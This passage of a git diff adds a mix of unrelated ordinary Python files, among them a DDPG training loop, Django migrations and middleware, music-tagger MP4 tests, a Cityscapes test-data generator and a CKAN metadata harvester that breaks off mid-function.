tf.get_variable("b2", [h2_dim], + initializer=tf.constant_initializer(0)) + h2 = tf.nn.relu(tf.matmul(h1_concat, W2) + b2) + + W3 = tf.get_variable("W3", [h2_dim, 1], + initializer=tf.contrib.layers.xavier_initializer()) + b3 = tf.get_variable("b3", [1], + initializer=tf.constant_initializer(0)) + v = tf.matmul(h2, W3) + b3 + return v + +pg_ddpg = DeepDeterministicPolicyGradient(sess, + optimizer, + actor_network, + critic_network, + state_dim, + action_dim, + summary_writer=writer) + +MAX_EPISODES = 10000 +MAX_STEPS = 1000 + +episode_history = deque(maxlen=100) +for i_episode in xrange(MAX_EPISODES): + + # initialize + state = env.reset() + for t in xrange(MAX_STEPS): + # env.render() + action = pg_ddpg.sampleAction(state[np.newaxis,:]) + next_state, reward, done, _ = env.step(action) + pg_ddpg.storeExperience(state, action, reward, next_state, done) + pg_ddpg.updateModel() + state = next_state + if done: break + + if i_episode % 500 == 0: + + for i_eval in range(100): + total_rewards = 0 + state = env.reset() + for t in xrange(MAX_STEPS): + env.render() + action = pg_ddpg.sampleAction(state[np.newaxis,:], exploration=False) + next_state, reward, done, _ = env.step(action) + total_rewards += reward + state = next_state + if done: break + + episode_history.append(total_rewards) + mean_rewards = np.mean(episode_history) + + print("Episode {}".format(i_episode)) + print("Finished after {} timesteps".format(t+1)) + print("Reward for this episode: {:.2f}".format(total_rewards)) + print("Average reward for last 100 episodes: {:.2f}".format(mean_rewards)) + # if mean_rewards >= 950.0: # for InvertedPendulum-v1 + if mean_rewards >= 9100.0: # for InvertedDoublePendulum-v1 + print("Environment {} solved after {} episodes".format(env_name, i_episode+1)) + break diff --git a/pool/shard008/Python/0076655_utils.py b/pool/shard008/Python/0076655_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..9faa97e510468843edb0db980ab32b85b101e4cb --- /dev/null +++ b/pool/shard008/Python/0076655_utils.py @@ -0,0 +1,16 @@ +''' +Created on Jul 29, 2011 + +@author: eplaster +''' +import re +from bunch import Bunch + +def camel_to_under(string): + s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', string) + return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() + +def bunchify(*sequence): + """[item_a, item_b, ... ] -> bunch(item_a=item_a, item_b=item_b, ....)""" + enums = Bunch({item:item for item in sequence}) + return enums diff --git a/pool/shard008/Python/0076657_0002_auto_20171024_1252.py b/pool/shard008/Python/0076657_0002_auto_20171024_1252.py new file mode 100644 index 0000000000000000000000000000000000000000..0e6b5a214df565725b0188208788e661d6bd05b4 --- /dev/null +++ b/pool/shard008/Python/0076657_0002_auto_20171024_1252.py @@ -0,0 +1,29 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.3 on 2017-10-24 15:52 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ('vinculos', '0001_initial'), + ('registro', '0001_initial'), + ] + + operations = [ + migrations.AddField( + model_name='frequencia', + name='bolsista', + field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='registros', to='vinculos.Vinculo', verbose_name='Bolsista'), + ), + migrations.AddField( + model_name='frequencia', + name='maquina', + field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='registros', to='registro.Maquina', verbose_name='Máquina'), + ), + ] diff --git a/pool/shard008/Python/0076662_fitting_2.py b/pool/shard008/Python/0076662_fitting_2.py new file mode 100644 index 0000000000000000000000000000000000000000..dbf4e3645e999065aa404a0e747f207548dfbd2a --- /dev/null +++ b/pool/shard008/Python/0076662_fitting_2.py @@ -0,0 +1,30 @@ +""" + fitting a parabola using dashi.scatterpoints.points2d as + a data container +""" +import dashi as d; d.visual() +import numpy as n +import pylab as p + +yerr=10. +data = d.scatterpoints.points2d() +data.x = n.linspace(-10,10,21) +data.y = 2*(data.x-2)**2 - 3 + n.random.normal(0,yerr,len(data.x)) +data.yerr = yerr * n.ones(len(data.x)) # initial guess for the error + +mod = d.poly(2) +mod = d.fitting.leastsq(data.x,data.y,mod, chi2values=True) + +p.figure(figsize=(9,4)) +p.subplots_adjust(wspace=.25) + +p.subplot(121) +data.scatter(fmt="ko", ms=3) +p.plot(data.x, mod(data.x), "r--") +mod.parbox(loc=1) + +ax = p.subplot(122) +p.plot(mod.chi2values[0], mod.chi2values[1], "k-") +p.text(0.1,0.9, "$\chi^2/ndof = %.2f/%d$" % (mod.chi2, mod.ndof), transform = ax.transAxes) +p.ylabel("chi2 contribution") + diff --git a/pool/shard008/Python/0076671_data.py b/pool/shard008/Python/0076671_data.py new file mode 100644 index 0000000000000000000000000000000000000000..492e6a161105a5535c48b7801d34de641267581c --- /dev/null +++ b/pool/shard008/Python/0076671_data.py @@ -0,0 +1,29 @@ +import os +import numpy as np +from scipy.io import loadmat + +class CelebA(object): + def __init__(self, data_file): + self._load(data_file) + + def _load(self, data_file): + print 'Preparing file' + x = loadmat(data_file)['images'] + x = x.astype('float32') + x /= 255. + x -= 0.5 + self.x = x + + def norm(self, x): + return x - 0.5 + + def denorm(self, x): + return np.clip(x + 0.5, 0, 1) + + def next_batch(self, bs): + idx = np.random.choice(len(self.x), bs, replace=False) + return self.x[idx] + +if __name__ == '__main__': + celeba = CelebA() + print celeba.x[:10000].min(), celeba.x[:10000].max() diff --git a/pool/shard008/Python/0076674_morse.py b/pool/shard008/Python/0076674_morse.py new file mode 100644 index 0000000000000000000000000000000000000000..94cd0e327651725850a5998d2d9b4d715ef39ee6 --- /dev/null +++ b/pool/shard008/Python/0076674_morse.py @@ -0,0 +1,32 @@ +# Copyright (C) 2013-2015 Samuel Damashek, Peter Foley, James Forcier, Srijay Kasturi, Reed Koser, Christopher Reffett, and Fox Wilson +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +from helpers.command import Command +from helpers.textutils import gen_morse, gen_word + + +@Command('morse') +def cmd(send, msg, args): + """Converts text to morse code. + Syntax: !morse + """ + if not msg: + msg = gen_word() + morse = gen_morse(msg) + if len(morse) > 100: + send("Your morse is too long. Have you considered Western Union?") + else: + send(morse) diff --git a/pool/shard008/Python/0076684_porttest.py b/pool/shard008/Python/0076684_porttest.py new file mode 100644 index 0000000000000000000000000000000000000000..31e8b2d6d234f20f38f2f24d712ca481829c759f --- /dev/null +++ b/pool/shard008/Python/0076684_porttest.py @@ -0,0 +1,27 @@ +__author__ = 'dp' +import os +import serial +from serial.tools import list_ports + + +def serial_ports(): + """ + Returns a generator for all available serial ports + """ + if os.name == 'nt': + # windows + for i in range(256): + try: + s = serial.Serial(i) + s.close() + yield 'COM' + str(i + 1) + except serial.SerialException: + pass + else: + # unix + for port in list_ports.comports(): + yield port[0] + + +if __name__ == '__main__': + print sorted(list(serial_ports())) \ No newline at end of file diff --git a/pool/shard008/Python/0076688_test_pool_upgrade_no_loop_force.py b/pool/shard008/Python/0076688_test_pool_upgrade_no_loop_force.py new file mode 100644 index 0000000000000000000000000000000000000000..e3b5dfffc10913672fd161e892136b9efced321b --- /dev/null +++ b/pool/shard008/Python/0076688_test_pool_upgrade_no_loop_force.py @@ -0,0 +1,36 @@ +from copy import deepcopy + +from indy_node.test import waits +from stp_core.loop.eventually import eventually +from plenum.common.constants import VERSION +from indy_common.constants import FORCE + +from indy_node.test.upgrade.helper import bumpedVersion, checkUpgradeScheduled, \ + check_no_loop, sdk_ensure_upgrade_sent +from indy_node.server.upgrade_log import UpgradeLog +import indy_node + +whitelist = ['Failed to upgrade node'] + + +def test_upgrade_does_not_get_into_loop_force(looper, tconf, nodeSet, + validUpgrade, sdk_pool_handle, + sdk_wallet_trustee, monkeypatch): + new_version = bumpedVersion() + upgr1 = deepcopy(validUpgrade) + upgr1[VERSION] = new_version + upgr1[FORCE] = True + + # An upgrade scheduled, it should pass + sdk_ensure_upgrade_sent(looper, sdk_pool_handle, sdk_wallet_trustee, upgr1) + looper.run( + eventually( + checkUpgradeScheduled, + nodeSet, + upgr1[VERSION], + retryWait=1, + timeout=waits.expectedUpgradeScheduled())) + + # here we make nodes think they have upgraded successfully + monkeypatch.setattr(indy_node.__metadata__, '__version__', new_version) + check_no_loop(nodeSet, UpgradeLog.SUCCEEDED) diff --git a/pool/shard008/Python/0076689_PyatePhrases.py b/pool/shard008/Python/0076689_PyatePhrases.py new file mode 100644 index 0000000000000000000000000000000000000000..96be361390a2e3d75f9ae4f9739300a414a135c2 --- /dev/null +++ b/pool/shard008/Python/0076689_PyatePhrases.py @@ -0,0 +1,13 @@ +from collections import Counter +from scattertext.features.FeatsFromSpacyDoc import FeatsFromSpacyDoc + + +class PyatePhrases(FeatsFromSpacyDoc): + def __init__(self, extractor=None, **args): + import pyate + self._extractor = pyate.combo_basic if extractor is None else extractor + FeatsFromSpacyDoc.__init__(self, **args) + + def get_feats(self, doc): + return Counter(self._extractor(str(doc)).to_dict()) + diff --git a/pool/shard008/Python/0076692_middleware.py b/pool/shard008/Python/0076692_middleware.py new file mode 100644 index 0000000000000000000000000000000000000000..36e952fcc095866b6e50e23ad75afb7f553aba90 --- /dev/null +++ b/pool/shard008/Python/0076692_middleware.py @@ -0,0 +1,32 @@ +from django.db.models import signals +from django.utils.functional import curry +from django.utils.decorators import decorator_from_middleware + +from chapter11.current_user import registration + +class CurrentUserMiddleware(object): + def process_request(self, request): + if request.method in ('GET', 'HEAD', 'OPTIONS', 'TRACE'): + # This request shouldn't update anything, + # so no singal handler should be attached. + return + + if hasattr(request, 'user') and request.user.is_authenticated(): + user = request.user + else: + user = None + + update_users = curry(self.update_users, user) + signals.pre_save.connect(update_users, dispatch_uid=request, weak=False) + + def update_users(self, user, sender, instance, **kwargs): + registry = registration.FieldRegistry() + if sender in registry: + for field in registry.get_fields(sender): + setattr(instance, field.name, user) + + def process_response(self, request, response): + signals.pre_save.disconnect(dispatch_uid=request) + return response + +record_current_user = decorator_from_middleware(CurrentUserMiddleware) diff --git a/pool/shard008/Python/0076695_create_test_data.py b/pool/shard008/Python/0076695_create_test_data.py new file mode 100644 index 0000000000000000000000000000000000000000..706e55cda07dc94b5df26fbb16dd270037bcd3ee --- /dev/null +++ b/pool/shard008/Python/0076695_create_test_data.py @@ -0,0 +1,205 @@ +# coding=utf-8 +# Copyright 2022 The Deeplab2 Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Script to generate test data for cityscapes.""" + +import collections +import json +import os + +from absl import app +from absl import flags +from absl import logging +import numpy as np +from PIL import Image +import tensorflow as tf + +# resources dependency + +from deeplab2.data import data_utils +from deeplab2.data import dataset + +flags.DEFINE_string( + 'panoptic_annotation_path', + 'deeplab2/data/testdata/' + 'dummy_prediction.png', + 'Path to annotated test image with cityscapes encoding.') +flags.DEFINE_string( + 'panoptic_gt_output_path', + 'deeplab2/data/testdata/' + 'dummy_gt_for_vps.png', + 'Path to annotated test image with Video Panoptic Segmentation encoding.') +flags.DEFINE_string( + 'output_cityscapes_root', + 'deeplab2/data/testdata/', + 'Path to output root directory.') + +FLAGS = flags.FLAGS + +# Cityscapes label, using `TrainId`. +_CITYSCAPES_IGNORE = 255 +# Each valid (not ignored) label below is a tuple of (TrainId, EvalId) +_CITYSCAPES_CAR = (13, 26) +_CITYSCAPES_TREE = (8, 21) +_CITYSCAPES_SKY = (10, 23) +_CITYSCAPES_BUILDING = (2, 11) +_CITYSCAPES_ROAD = (0, 7) + +_IS_CROWD = 'is_crowd' +_NOT_CROWD = 'not_crowd' + +_CLASS_HAS_INSTANCES_LIST = dataset.CITYSCAPES_PANOPTIC_INFORMATION.class_has_instances_list +_PANOPTIC_LABEL_DIVISOR = dataset.CITYSCAPES_PANOPTIC_INFORMATION.panoptic_label_divisor +_FILENAME_PREFIX = 'dummy_000000_000000' + + +def create_test_data(annotation_path): + """Creates cityscapes panoptic annotation, vps annotation and segment info. + + Our Video Panoptic Segmentation (VPS) encoding uses ID == semantic trainID * + 1000 + instance ID (starting at 1) with instance ID == 0 marking + crowd regions. + + Args: + annotation_path: The path to the annotation to be loaded. + + Returns: + A tuple of cityscape annotation, vps annotation and segment infos. + """ + # Convert panoptic labels to cityscapes label format. + + # Dictionary mapping converted panoptic annotation to its corresponding + # Cityscapes label. Here the key is encoded by converting each RGB pixel + # value to 1 * R + 256 * G + 256 * 256 * B. + panoptic_label_to_cityscapes_label = { + 0: (_CITYSCAPES_IGNORE, _NOT_CROWD), + 31110: (_CITYSCAPES_CAR, _NOT_CROWD), + 31354: (_CITYSCAPES_CAR, _IS_CROWD), + 35173: (_CITYSCAPES_CAR, _NOT_CROWD), + 488314: (_CITYSCAPES_CAR, _IS_CROWD), + 549788: (_CITYSCAPES_CAR, _IS_CROWD), + 1079689: (_CITYSCAPES_CAR, _IS_CROWD), + 1341301: (_CITYSCAPES_CAR, _NOT_CROWD), + 1544590: (_CITYSCAPES_CAR, _NOT_CROWD), + 1926498: (_CITYSCAPES_CAR, _NOT_CROWD), + 4218944: (_CITYSCAPES_TREE, _NOT_CROWD), + 4251840: (_CITYSCAPES_SKY, _NOT_CROWD), + 6959003: (_CITYSCAPES_BUILDING, _NOT_CROWD), + # To be merged with the building segment above. + 8396960: (_CITYSCAPES_BUILDING, _NOT_CROWD), + 8413312: (_CITYSCAPES_ROAD, _NOT_CROWD), + } + with tf.io.gfile.GFile(annotation_path, 'rb') as f: + panoptic = data_utils.read_image(f.read()) + + # Input panoptic annotation is RGB color coded, here we convert each pixel + # to a unique number to avoid comparing 3-tuples. + panoptic = np.dot(panoptic, [1, 256, 256 * 256]) + # Creates cityscapes panoptic map. Cityscapes use ID == semantic EvalId for + # `stuff` segments and `thing` segments with `iscrowd` label, and + # ID == semantic EvalId * 1000 + instance ID (starting from 0) for other + # `thing` segments. + cityscapes_panoptic = np.zeros_like(panoptic, dtype=np.int32) + # Creates Video Panoptic Segmentation (VPS) map. We use ID == semantic + # trainID * 1000 + instance ID (starting at 1) with instance ID == 0 marking + # crowd regions. + vps_panoptic = np.zeros_like(panoptic, dtype=np.int32) + num_instances_per_class = collections.defaultdict(int) + unique_labels = np.unique(panoptic) + + # Dictionary that maps segment id to segment info. + segments_info = {} + for label in unique_labels: + cityscapes_label, is_crowd = panoptic_label_to_cityscapes_label[label] + selected_pixels = panoptic == label + + if cityscapes_label == _CITYSCAPES_IGNORE: + vps_panoptic[selected_pixels] = ( + _CITYSCAPES_IGNORE * _PANOPTIC_LABEL_DIVISOR) + continue + + train_id, eval_id = tuple(cityscapes_label) + cityscapes_id = eval_id + vps_id = train_id * _PANOPTIC_LABEL_DIVISOR + if train_id in _CLASS_HAS_INSTANCES_LIST: + # `thing` class. + if is_crowd != _IS_CROWD: + cityscapes_id = ( + eval_id * _PANOPTIC_LABEL_DIVISOR + + num_instances_per_class[train_id]) + # First instance should have ID 1. + vps_id += num_instances_per_class[train_id] + 1 + num_instances_per_class[train_id] += 1 + + cityscapes_panoptic[selected_pixels] = cityscapes_id + vps_panoptic[selected_pixels] = vps_id + pixel_area = int(np.sum(selected_pixels)) + if cityscapes_id in segments_info: + logging.info('Merging segments with label %d into segment %d', label, + cityscapes_id) + segments_info[cityscapes_id]['area'] += pixel_area + else: + segments_info[cityscapes_id] = { + 'area': pixel_area, + 'category_id': train_id, + 'id': cityscapes_id, + 'iscrowd': 1 if is_crowd == _IS_CROWD else 0, + } + + cityscapes_panoptic = np.dstack([ + cityscapes_panoptic % 256, cityscapes_panoptic // 256, + cityscapes_panoptic // 256 // 256 + ]) + vps_panoptic = np.dstack( + [vps_panoptic % 256, vps_panoptic // 256, vps_panoptic // 256 // 256]) + return (cityscapes_panoptic.astype(np.uint8), vps_panoptic.astype(np.uint8), + list(segments_info.values())) + + +def main(argv): + if len(argv) > 1: + raise app.UsageError('Too many command-line arguments.') + + data_path = FLAGS.panoptic_annotation_path # OSS: removed internal filename loading. + panoptic_map, vps_map, segments_info = create_test_data(data_path) + panoptic_map_filename = _FILENAME_PREFIX + '_gtFine_panoptic.png' + panoptic_map_path = os.path.join(FLAGS.output_cityscapes_root, 'gtFine', + 'cityscapes_panoptic_dummy_trainId', + panoptic_map_filename) + + gt_output_path = FLAGS.panoptic_gt_output_path # OSS: removed internal filename loading. + with tf.io.gfile.GFile(gt_output_path, 'wb') as f: + Image.fromarray(vps_map).save(f, format='png') + + panoptic_map_path = panoptic_map_path # OSS: removed internal filename loading. + with tf.io.gfile.GFile(panoptic_map_path, 'wb') as f: + Image.fromarray(panoptic_map).save(f, format='png') + + json_annotation = { + 'annotations': [{ + 'file_name': _FILENAME_PREFIX + '_gtFine_panoptic.png', + 'image_id': _FILENAME_PREFIX, + 'segments_info': segments_info + }] + } + json_annotation_path = os.path.join(FLAGS.output_cityscapes_root, 'gtFine', + 'cityscapes_panoptic_dummy_trainId.json') + json_annotation_path = json_annotation_path # OSS: removed internal filename loading. + with tf.io.gfile.GFile(json_annotation_path, 'w') as f: + json.dump(json_annotation, f, indent=2) + + +if __name__ == '__main__': + app.run(main) diff --git a/pool/shard008/Python/0076700_urls.py b/pool/shard008/Python/0076700_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..ffba1f9a72496becf0bd8734b5fb16e8231d666f --- /dev/null +++ b/pool/shard008/Python/0076700_urls.py @@ -0,0 +1,26 @@ +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. + +from django.conf.urls import url + +from commonware.decorators import xframe_allow + +from bedrock.facebookapps import views +from bedrock.facebookapps.decorators import extract_app_data, facebook_locale +from bedrock.mozorg.util import page + + +urlpatterns = ( + url(r'^tab_redirect/$', views.tab_redirect, + name='facebookapps.tab_redirect'), + url(r'^tab_redirect/(?P[a-z]*)/$', views.tab_redirect, + name='facebookapps.tab_redirect'), + + page('channel', 'facebookapps/channel.html'), + page('downloadtab', 'facebookapps/downloadtab.html', + decorators=(xframe_allow, extract_app_data, facebook_locale)), + page('downloadtab/noscroll', 'facebookapps/downloadtab.html', + decorators=(xframe_allow, extract_app_data, facebook_locale), + noscroll=True), +) diff --git a/pool/shard008/Python/0076701_test_mp4.py b/pool/shard008/Python/0076701_test_mp4.py new file mode 100644 index 0000000000000000000000000000000000000000..60507b4ef51523db505698b2106a69682678b3f0 --- /dev/null +++ b/pool/shard008/Python/0076701_test_mp4.py @@ -0,0 +1,175 @@ +# -*- coding: utf-8 -*- +# +# Picard, the next-generation MusicBrainz tagger +# +# Copyright (C) 2019-2020 Philipp Wolfer +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + +import unittest + +import mutagen + +from picard.formats import ext_to_format +from picard.metadata import Metadata + +from .common import ( + CommonTests, + load_metadata, + load_raw, + save_and_load_metadata, + save_metadata, + save_raw, + skipUnlessTestfile, +) +from .coverart import CommonCoverArtTests + + +# prevent unittest to run tests in those classes +class CommonMP4Tests: + + class MP4TestCase(CommonTests.TagFormatsTestCase): + def test_supports_tag(self): + fmt = ext_to_format(self.testfile_ext[1:]) + self.assertTrue(fmt.supports_tag('copyright')) + self.assertTrue(fmt.supports_tag('compilation')) + self.assertTrue(fmt.supports_tag('bpm')) + self.assertTrue(fmt.supports_tag('djmixer')) + self.assertTrue(fmt.supports_tag('discnumber')) + self.assertTrue(fmt.supports_tag('lyrics:lead')) + self.assertTrue(fmt.supports_tag('~length')) + self.assertTrue(fmt.supports_tag('Custom')) + self.assertTrue(fmt.supports_tag('äöüéß\0')) # Latin 1 is supported + self.assertFalse(fmt.supports_tag('Б')) # Unsupported custom tags + for tag in self.replaygain_tags.keys(): + self.assertTrue(fmt.supports_tag(tag)) + + def test_format(self): + metadata = load_metadata(self.filename) + self.assertIn('AAC LC', metadata['~format']) + + @skipUnlessTestfile + def test_replaygain_tags_case_insensitive(self): + tags = mutagen.mp4.MP4Tags() + tags['----:com.apple.iTunes:replaygain_album_gain'] = [b'-6.48 dB'] + tags['----:com.apple.iTunes:Replaygain_Album_Peak'] = [b'0.978475'] + tags['----:com.apple.iTunes:replaygain_album_range'] = [b'7.84 dB'] + tags['----:com.apple.iTunes:replaygain_track_gain'] = [b'-6.16 dB'] + tags['----:com.apple.iTunes:REPLAYGAIN_track_peak'] = [b'0.976991'] + tags['----:com.apple.iTunes:REPLAYGAIN_TRACK_RANGE'] = [b'8.22 dB'] + tags['----:com.apple.iTunes:replaygain_reference_loudness'] = [b'-18.00 LUFS'] + save_raw(self.filename, tags) + loaded_metadata = load_metadata(self.filename) + for (key, value) in self.replaygain_tags.items(): + self.assertEqual(loaded_metadata[key], value, '%s: %r != %r' % (key, loaded_metadata[key], value)) + + @skipUnlessTestfile + def test_ci_tags_preserve_case(self): + # Ensure values are not duplicated on repeated save and are saved + # case preserving. + for name in ('Replaygain_Album_Peak', 'Custom', 'äöüéß\0'): + tags = mutagen.mp4.MP4Tags() + tags['----:com.apple.iTunes:' + name] = [b'foo'] + save_raw(self.filename, tags) + loaded_metadata = load_metadata(self.filename) + loaded_metadata[name.lower()] = 'bar' + save_metadata(self.filename, loaded_metadata) + raw_metadata = load_raw(self.filename) + self.assertIn('----:com.apple.iTunes:' + name, raw_metadata) + self.assertEqual( + raw_metadata['----:com.apple.iTunes:' + name][0].decode('utf-8'), + loaded_metadata[name.lower()]) + self.assertEqual(1, len(raw_metadata['----:com.apple.iTunes:' + name])) + self.assertNotIn('----:com.apple.iTunes:' + name.upper(), raw_metadata) + + @skipUnlessTestfile + def test_delete_freeform_tags(self): + metadata = Metadata() + metadata['foo'] = 'bar' + original_metadata = save_and_load_metadata(self.filename, metadata) + self.assertEqual('bar', original_metadata['foo']) + del metadata['foo'] + new_metadata = save_and_load_metadata(self.filename, metadata) + self.assertNotIn('foo', new_metadata) + + @skipUnlessTestfile + def test_invalid_track_and_discnumber(self): + metadata = Metadata({ + 'discnumber': 'notanumber', + 'tracknumber': 'notanumber', + }) + loaded_metadata = save_and_load_metadata(self.filename, metadata) + self.assertNotIn('discnumber', loaded_metadata) + self.assertNotIn('tracknumber', loaded_metadata) + + @skipUnlessTestfile + def test_invalid_total_tracks_and_discs(self): + metadata = Metadata({ + 'discnumber': '1', + 'totaldiscs': 'notanumber', + 'tracknumber': '2', + 'totaltracks': 'notanumber', + }) + loaded_metadata = save_and_load_metadata(self.filename, metadata) + self.assertEqual(metadata['discnumber'], loaded_metadata['discnumber']) + self.assertEqual('0', loaded_metadata['totaldiscs']) + self.assertEqual(metadata['tracknumber'], loaded_metadata['tracknumber']) + self.assertEqual('0', loaded_metadata['totaltracks']) + + @skipUnlessTestfile + def test_invalid_int_tag(self): + for tag in ['bpm', 'movementnumber', 'movementtotal', 'showmovement']: + metadata = Metadata({tag: 'notanumber'}) + loaded_metadata = save_and_load_metadata(self.filename, metadata) + self.assertNotIn(tag, loaded_metadata) + + +class M4ATest(CommonMP4Tests.MP4TestCase): + testfile = 'test.m4a' + supports_ratings = False + expected_info = { + 'length': 106, + '~channels': '2', + '~sample_rate': '44100', + '~bitrate': '14.376', + '~bits_per_sample': '16', + } + unexpected_info = ['~video'] + + @unittest.skipUnless(mutagen.version >= (1, 43, 0), "mutagen >= 1.43.0 required") + def test_hdvd_tag_considered_video(self): + tags = mutagen.mp4.MP4Tags() + tags['hdvd'] = [1] + save_raw(self.filename, tags) + metadata = load_metadata(self.filename) + self.assertEqual('1', metadata["~video"]) + + +class M4VTest(CommonMP4Tests.MP4TestCase): + testfile = 'test.m4v' + supports_ratings = False + expected_info = { + 'length': 106, + '~channels': '2', + '~sample_rate': '44100', + '~bitrate': '108.043', + '~bits_per_sample': '16', + '~video': '1', + } + + +class Mp4CoverArtTest(CommonCoverArtTests.CoverArtTestCase): + testfile = 'test.m4a' diff --git a/pool/shard008/Python/0076704_lwbin.py b/pool/shard008/Python/0076704_lwbin.py new file mode 100644 index 0000000000000000000000000000000000000000..d3e103df05be9ac935fd9148b0ac418dab33e33f --- /dev/null +++ b/pool/shard008/Python/0076704_lwbin.py @@ -0,0 +1,198 @@ +""" +A Lake Winnipeg Basin Information Network (BIN) harvester for the SHARE project + +Example API request: http://130.179.67.140/api/3/action/package_search?q= (problematic) +http://130.179.67.140/api/3/action/current_package_list_with_resources (currently using) +It oddly returns 5 more datasets than all searchable ones on LWBIN data hub. + +Known issues: +1 -- Five datasets can be searched but cannot be accessed via LWBIN. +Clicking on the searching result would result in linking to a redirected page like this: +http://130.179.67.140/user/login?came_from=http://130.179.67.140/dataset/mpca-surface-water-data-access-interactive-map +Within each dataset there are resouces that contain urls to source pages. For future work considering using resources +urls as canonical urls. +2 -- Resouces properties contained in raw metadata of the datasets are not added to the normalized metadata at this +point. +3 -- Single name contributors can be used as filters or an invalid query will be returned. Has nothing to do with scrapi but the frontend. +""" + +from __future__ import unicode_literals + +import json +import logging + +from dateutil.parser import parse + +from scrapi import requests +from scrapi.base import JSONHarvester +from scrapi.linter.document import RawDocument +from scrapi.base.helpers import build_properties, datetime_formatter, parse_name + + +logger = logging.getLogger(__name__) + +ORGANIZATIONS = ( + "organization", "fund", "canada", "agriculture", "commitee", "international", "council", "office", "of", + "observation", "institute", "lwbin", "cocorahs", "usgs", "nsidc" +) + + +def is_organization(name): + """Return a boolean to indicate if the name passed to the function is an organization + """ + words = name.split(' ') + return any(word.strip(";").lower() in ORGANIZATIONS for word in words) + + +def clean_authors(authors): + """Cleam authors list. + """ + authors = authors.strip().replace('', '').replace('', '') + authors = authors.split(',') + + new_authors = [] + for author in authors: + if is_organization(author): + new_authors.append(author) + else: + if ' and ' in author or ' et al.' in author: + split_name = author.replace(' et al.', '').split(' and ') + new_authors.extend(split_name) + else: + new_authors.append(author) + return new_authors + + +def process_contributors(authors, emails): + """Process authors and add author emails + If multiple authors and one email, put email in a new author + """ + emails = emails.split(',') + authors = clean_authors(authors) + contributor_list = [] + append_emails = len(authors) == 1 and len(emails) == 1 and not emails[0] == u'' # append the email to the author only when 1 record is observed + + for i, author in enumerate(authors): + if is_organization(author): + contributor = { + 'name': author + } + else: + contributor = parse_name(author) + + if append_emails: + contributor['email'] = emails[i] + contributor_list.append(contributor) + + if not append_emails and emails[0] != u'': + for email in emails: + contributor = { + 'name': '', + 'email': email + } + contributor_list.append(contributor) + + return contributor_list + + +def process_licenses(license_title, license_url, license_id): + """Process licenses to comply with the normalized schema + """ + + if not license_url: + return [] + else: + license = { + 'uri': license_url, + 'description': "{} ({})".format(license_title, license_id) or "" + } + + return [license] + + +def construct_url(url, dataset_path, end_point): + """ + :return: a url that directs back to the page on LBWIN Data Hub instead of the source page. + :param url: host url + :param dataset_path: parent path of all datasets + :param end_point: name of datasets + """ + + return "/".join([url, dataset_path, end_point]) + + +def process_object_uris(url, extras): + """Extract doi from /extras, and return a list of object uris including /url and doi if it exists. + """ + doi = [] + for d in extras: + if d['key'] == "DOI" or d['key'] == "DOI:": + doi.append(d['value']) + if doi == []: + return [url] + else: + return [url].extend(doi) + + +class LWBINHarvester(JSONHarvester): + short_name = 'lwbin' + long_name = 'Lake Winnipeg Basin Information Network' + url = 'http://130.179.67.140' + dataset_path = "dataset" # dataset base url for constructing urls that go back to LWBIN instead of source pages. + + DEFAULT_ENCODING = 'UTF-8' + + record_encoding = None + + @property + def schema(self): + return { + 'title': ('/title', lambda x: x or ''), + 'description': ('/notes'), + 'providerUpdatedDateTime': ('/metadata_modified', datetime_formatter), + 'uris': { + 'canonicalUri': ('/name', lambda x: construct_url(self.url, self.dataset_path, x)), # Construct new urls directing to LWBIN + 'objectUris': ('/url', '/extras', process_object_uris) # Default urls from the metadata directing to source pages + }, + 'contributors': ('/author', '/author_email', process_contributors), + 'licenses': ('/license_title', '/license_url', '/license_id', process_licenses), + 'tags': ('/tags', lambda x: [tag['name'].lower() for tag in (x or [])]), + 'freeToRead': { + 'startDate': ('/isopen', '/metadata_created', lambda x, y: parse(y).date().isoformat() if x else None) + }, + 'otherProperties': build_properties( + ('maintainer', '/maintainer'), + ('maintainerEmail', '/maintainer_email'), + ('revisionTimestamp', ('/revision_timestamp', datetime_formatter)), + ('id', '/id'), + ('metadataCreated', ('/metadata_created', datetime_formatter)), + ('state', '/state'), + ('version', '/version'), + ('creatorUserId', '/creator_user_id'), + ('type', '/type'), + ('numberOfResources', '/num_resources'), + ('numberOfTags', '/num_tags'), + ('name', '/name'), + ('groups', '/groups'), + ) + } + + def harvest(self, start_date=None, end_date=None): + """Returns a list of Rawdocuments (metadata) + Searching by time is not supported by LWBIN CKAN API. all datasets have to be scanned each time. + """ + + base_url = 'http://130.179.67.140/api/3/action/current_package_list_with_resources' + + records = requests.get(base_url).json()['result'] + total = len(records) # Total 